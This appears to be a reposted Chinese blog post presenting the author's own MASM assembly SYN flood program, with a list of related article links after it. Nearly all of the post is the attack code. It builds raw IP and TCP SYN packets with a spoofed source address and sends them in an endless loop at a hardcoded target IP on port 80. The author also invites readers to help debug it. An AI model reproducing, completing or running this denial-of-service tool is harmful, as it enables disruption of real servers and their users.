自己用汇编写的一个SYN攻击软件,俗称DDOS攻击
来源:互联网 发布:在淘宝网上买茶可靠吗 编辑:程序博客网 时间:2024/04/20 12:06
由于本人使用的是XP SP3版本,此版本关闭了发送原始套接字的功能,所以没有最后调试成功。
有WIN2000的朋友能够帮忙调试的话请把调试结果高诉我,调试时可用科来软件嗅探数据包。
.386
.model flat, stdcall
option casemap :none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include wsock32.inc
includelib wsock32.lib
;;IP数据包头部结构定义
ip_head struct
h_lenver db ? ;4位IP版本号+4位首部长度
TOS db ? ;8位服务类型
ip_len dw ? ;16位IP+TCP数据包总长度
ident dw ? ;16位标识
frag_and_flags dw ? ;3位分片标志+13位分片偏移
ttl db ? ;8位生存时间
proto1 db ? ;8位协议类型
checksum dw ? ;16位校验和
sourceIP dd ? ;32位源IP
destIP dd ? ;32位目的IP
ip_head ends
;;TCP头部结构定义
tcp_head struct
th_sport dw ? ;16位源端口
th_dport dw ? ;16位目的端口
th_seq dd ? ;32位序列号
th_ack dd ? ;32位确认号
th_lenres db ? ;4位首部长度+6位保留字,注意这个字段和下面的标志共16位,因6位保留为0,为了定义方便所以填充时可按8位填充两个字段
th_flag db ? ;6位标志位
th_win dw ? ;16位窗口大小
th_sum dw ? ;16位校验和
th_urp dw ? ;16位紧急数据偏移量
tcp_head ends
;;伪TCP头部结构定义,伪TCP头部是用来求效验和的
wtcp_h struct
saddr dd ? ;32位IP头部里的源地址
daddr dd ? ;32位IP头部里的目的地址
mbz db ? ;8位全0
ptcl db ? ;8位协议类型,TCP是6
tcpl dw ? ;16位TCP总长度
wtcp_h ends
.data?
s dd ?
SendBuf db 64 dup (?) ;缓冲区
Sendlen dd ? ;缓冲区有效长度
stWsa WSADATA <>
stsin sockaddr_in <>
iphead ip_head <>
tcphead tcp_head <>
wtcp wtcp_h <>
.data
flag db TRUE
.const
syn_s db '58.30.17.108',0 ;攻击目标地址
syn_c db '10.1.1.100',0 ;攻击源地址
ip_len equ sizeof ip_head+sizeof tcp_head ;IP+TCP总长度
.code
;求校验和的子程序,参数一是缓冲区地址,参数二是缓冲区有效长度
_checksum proc uses ebx ecx edi lp,sum
local @szBuffer[64]:byte
mov esi,lp ;内存拷贝代码开始
lea edi,@szBuffer
mov ecx,sum ;大小
cld
rep movsb ;内存拷贝代码结束
xor eax,eax
xor ebx,ebx
xor ecx,ecx
lea edi,@szBuffer
mov ax,[edi]
clc
.while ebx<sum
add ebx,2
.break .if ebx == sum
mov cx,[ebx+edi]
add ax,cx
.if CARRY?
add ax,1
clc
.endif
.endw
not ax
ret
_checksum endp
start:
;填充IP首部
mov iphead.h_lenver,45h ;高4位版本号,低4位首部长度,步长4字节共20字节
mov iphead.TOS,0 ;8位服务类型
mov iphead.ip_len,ip_len ;16位IP+TCP总长度
invoke htons,iphead.ip_len ;转换为网络顺序
mov iphead.ip_len,ax
mov iphead.ident,1 ;16位标识,此数值为不固定数值,一般为网卡总发包数
xor eax,eax
mov iphead.frag_and_flags,ax ;3位分片标志+13位分片偏移,这里不分片所以为0
mov iphead.ttl,128 ;8位生存时间
mov iphead.proto1,6 ;8位协议类型.6为TCP
mov iphead.checksum,0 ;16位校验和,计算前必须为0
invoke inet_addr,addr syn_c ;转换攻击源地址为网络顺序
mov iphead.sourceIP,eax ;转换后的IP地址保存到结构里
invoke inet_addr,addr syn_s ;转换攻击目标地址为网络顺序
mov iphead.destIP,eax ;转换后的IP地址保存到结构里
;填充TCP首部
invoke htons,8000
mov tcphead.th_sport,ax ;16位源端口
invoke htons,80
mov tcphead.th_dport,ax ;16位目的端口
invoke htonl,1000
mov tcphead.th_seq,eax ;32位序列号,此数值不是固定数应是随机数
mov tcphead.th_ack,0 ;32位确认号,第一次握手为0
mov tcphead.th_lenres,80
mov tcphead.th_flag,2 ;6位标志位,syn
invoke htons,65535
mov tcphead.th_win,ax ;16位窗口大小
mov tcphead.th_sum,0 ;16位校验和,计算前必须为0
mov tcphead.th_urp,0 ;16位紧急数据偏移量
;填充伪TCP首部
push iphead.sourceIP
pop wtcp.saddr ;32位IP头部里的源地址
push iphead.destIP
pop wtcp.daddr ;32位IP头部里的目的地址
mov wtcp.mbz,0 ;8位全0
mov wtcp.ptcl,6 ;8位协议类型,TCP是6
mov ax,sizeof ip_head
invoke htons,ax
mov wtcp.tcpl,ax ;16位TCP总长度
;IP和TCP校验和计算
mov esi,offset wtcp ;将tcp伪首部拷贝到
mov edi,offset SendBuf ;缓冲区SendBuf处
mov ecx,sizeof wtcp ;大小为sizeof wtcp
cld
rep movsb ;内存拷贝代码结束
mov esi,offset tcphead ;将tcp首部拷贝到
mov edi,offset SendBuf+sizeof wtcp ;缓冲区SendBuf伪tcp首部后面
mov ecx,sizeof tcphead ;大小为sizeof tcphead
cld
rep movsb ;内存拷贝代码结束
invoke _checksum,addr SendBuf,sizeof tcphead+sizeof wtcp ;计算TCP首部效验和
mov tcphead.th_sum,ax
xor eax,eax ;缓冲区清0
mov edi,offset SendBuf
mov ecx,sizeof SendBuf
cld
rep stosb ;清0结束
mov esi,offset iphead ;将iphead(IP首部)拷贝到
mov edi,offset SendBuf ;缓冲区SendBuf处
mov ecx,sizeof iphead ;大小为sizeof iphead
cld
rep movsb ;内存拷贝代码结束
mov esi,offset tcphead ;将tcp首部拷贝到
mov edi,offset SendBuf+sizeof iphead ;缓冲区ip首部后面
mov ecx,sizeof tcphead ;大小为sizeof tcphead
cld
rep movsb ;内存拷贝代码结束
invoke _checksum,addr SendBuf,sizeof iphead+sizeof tcphead ;计算IP首部效验和
mov iphead.checksum,ax ;IP首部效验和保存到结构里
;初始化SOCKET并发送数据
invoke inet_addr,addr syn_s ;转换IP地址为网络顺序
mov stsin.sin_addr,eax ;转换后的IP地址保存到结构里
mov stsin.sin_family,AF_INET
invoke htons,80 ;把端口转换为网络顺序
mov stsin.sin_port,ax ;转换后端口保存到结构里
invoke WSAStartup,2h,addr stWsa ;装载SOCKET
invoke socket,AF_INET,SOCK_RAW,IPPROTO_RAW ;初始化SOCKET为原始套接字模式
mov s,eax ;保存初始化成功的句柄
invoke setsockopt,s,IPPROTO_IP,1,addr flag,sizeof flag
invoke WSAGetLastError
.while 1
invoke sendto,s,addr SendBuf,sizeof iphead+sizeof tcphead,0,addr stsin,sizeof sockaddr_in ;发送缓存里的字符到服务器
.endw
invoke closesocket,s ;关闭SOCKET
invoke WSACleanup ;卸载SOCKET
invoke ExitProcess,NULL ;程序退出
end start
- 自己用汇编写的一个SYN攻击软件,俗称DDOS攻击
- SYN攻击(DDOS攻击的一种)
- SYN攻击(DDOS攻击的一种)
- DDOS SYN攻击
- DDoS攻击实例 - SYN Flood攻击
- Linux DDos(SYN Flood)攻击的检测和防范
- 防DDOS攻击软件
- DDOS--SYN Flood攻击与防御
- [李景山php] ddos 攻击之 SYN Flood
- iptables 如何防止 syn ddos ping 攻击
- 一个SYN攻击的代码分析
- 一个SYN攻击的代码分析
- DDoS攻击原理及防护方法论(3)--SYN Flood攻击
- DDOS攻击原理,及通过iptables预防syn洪水攻击
- 防止ddos攻击软件DDoS-Deflate 的安装和使用
- DDOS攻击的解决方法
- 常见的DDoS攻击
- Trinoo DDOS 攻击软件分析
- 逻辑炸弹程序
- JDK字符串查找算法
- leetcode 110 Balanced Binary Tree
- hdu 5677 ztr loves substring
- ubuntu(mate) 开机自动登陆到桌面方法 树莓派3装ubuntu mate 开机自动登陆到桌面
- 自己用汇编写的一个SYN攻击软件,俗称DDOS攻击
- 如何恢复CentOS删除键的功能
- 快速理解RequireJs
- PCM数据格式
- java-collection的 iterator 返回的迭代器快速失败
- Javascript模块化编程(三):require.js的用法
- Gap 锁
- nexus上传jar 和sources (通过界面或者命令模式)
- 学会Retrofit+OkHttp+RxAndroid三剑客的使用,让自己紧跟Android潮流的步伐